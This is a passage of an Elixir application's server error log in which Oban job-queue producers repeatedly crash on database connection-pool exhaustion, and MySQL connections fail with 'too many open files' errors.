Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.223520>, refresh_timer: #Reference<0.2525715032.1077411843.223517>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:52:24.240177Z], limit: 5, uuid: "3bcfc3de-348f-4f45-9e47-7404472e4b5f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:24.240183Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.223524>, refresh_timer: #Reference<0.2525715032.1121189889.98239>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 827ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:52:24.239833Z], limit: 3, uuid: "6326eb4a-d550-4404-a46b-0e16e12aa2e2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:24.239840Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.223522>, refresh_timer: #Reference<0.2525715032.1068236804.239856>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1006ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:52:24.240914Z], limit: 5, uuid: "98ca462b-57e3-44e6-9597-fc15d77879dc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:24.240920Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.239889>, refresh_timer: #Reference<0.2525715032.1068236804.239884>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:37.005000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:39.447000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:39.788000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:43.897000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:47.494000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 878ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:52:36.243490Z], limit: 3, uuid: "67c4ddac-bb39-4a4b-b056-f45640dc66cb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:36.243496Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.223760>, refresh_timer: #Reference<0.2525715032.1077411843.223755>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:52:36.241116Z], limit: 5, uuid: "6cbc0ff0-76c6-4e03-a877-a5e22b97d703", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:36.241121Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.247562>, refresh_timer: #Reference<0.2525715032.1077411843.223741>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1028ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:52:36.240585Z], limit: 50, uuid: "94bb1f3d-5371-4a12-821f-53804a9cf732", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:36.240591Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.247563>, refresh_timer: #Reference<0.2525715032.1077411843.223727>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 809ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:52:36.248007Z], limit: 5, uuid: "734ac788-31aa-4e06-bb13-4ec90a05d81b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:36.248012Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.247591>, refresh_timer: #Reference<0.2525715032.1077411843.223777>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1007ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:52:36.238676Z], limit: 10, uuid: "6236c5b0-0d12-43da-82d1-7ec6a1f438cb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:36.238686Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.247561>, refresh_timer: #Reference<0.2525715032.1077411843.223715>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:48.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1082ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
